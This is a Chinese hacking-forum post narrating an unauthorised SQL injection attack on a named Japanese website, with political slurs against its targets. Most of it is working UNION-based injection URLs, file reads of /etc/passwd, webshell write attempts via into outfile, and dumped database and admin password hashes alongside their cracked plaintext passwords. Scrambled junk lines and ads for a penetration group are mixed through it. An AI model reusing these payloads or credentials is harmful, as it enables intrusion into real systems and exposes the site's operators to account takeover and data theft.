原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据
; U6 u3 W, h3 o$ [! ?$ ?
8 N  Y9 k8 u1 b0 ~: X/ N" M% C
) {; c& @3 G+ ?- q! o* N2 M+ \0 y. lwhatweb

7 M+ I- T4 x6 \$ n9 W* n% [; \5 p
  l0 m/ l+ A5 v, v5 l利用NMAP扫描

3 E$ C- |$ P+ k# A+ U" g& u/ n中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
* L5 C" B6 Q9 p& g( f+ |

0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

order by 28报错，order by 27正常

0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
; T! T6 Z( w2 A7 G# U添加到 27 时正常显示
( n: u  W6 g$ [- l9 M4 Z. n
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
( K1 U' a1 d6 j( J
0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
4 ?! y5 h$ q! r6 vdatabase:    openpne
  t2 R( p- V) |version:      4.1.22
os:             portbld-freebsd5.4

$ R5 L" [+ X/ Y$ S/ m0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
+ l5 P8 T) N2 x1 R- [, k- Q* L8 a. vhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

2 P% D, H7 C) c通过工具转换
6 V4 f6 l6 j6 {; V2 B$ V& N
% c) {1 i7 E$ L  {中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
! u, T- k3 L* n3 L5 M& t全部都失败
/ b  Y7 P. b( Uhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
; g. Q7 m+ ], |9 i- W
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php
! E+ \, z$ p: f: o4 H$ C
7 [' ^+ d+ B" I1 t; |7 }! k6 k& q页面显示“MDB2 Error:syntax error”
+ z$ N( q0 X. _& L6 G) k
2 J/ P4 ~$ T7 E; L; F0x08. 利用 mysql 4.1
猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
. Y' y! ^$ Y2 N- U8 a& z


, R7 o" p1 m+ @1 b  q/ U- x0x09. 查找后台
3 L3 ^3 h9 T5 Z利用 现有的各种 后台工具尝试都不行

; q# \1 i+ _. _2 c6 Z8 }9 A- f0x10.  MySL外联方法
# v) V* g! P( \  y+ P从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
$ N+ Q# i7 P: h可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
6 U) V$ ^1 U/ {/ m  U% W; [6 j7 _
0 m) v0 d8 u( `+ ?+ z# V" N/ |这个可以在 www.cmd5.com 解密
' L7 O, i  \$ z% Z1 K/ zroot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
) M; _$ t; C- c0 o. b; j* R. Nchen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
  m5 g: x6 l' D; Z6 c8 Q/ Lopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
3 X- H2 I" e2 z0 s7 D! D& czuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
# m4 T( C# q9 v' N2 T
( ~9 r6 x0 S0 ?; ?! C
0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码


0x12. 默认信息利用
7 W0 s$ d, ?% j) E6 p( ], yhttp://sns.zuaa.jp/?m=admin&a=page_login

; M+ H# n$ p/ m: r4 V0 R2 G% N表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
, S+ }5 @: ?) [zuaajp:c0923ec5857796a393da99905008c176,          zju1897

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
. q2 [  j; O  O/ \, E
0x13. 登录后台



0x14. 小结
' Y9 J1 T2 Q1 C  z: B  M利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
$ p: ]/ t- p2 ~1 e1 Y------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的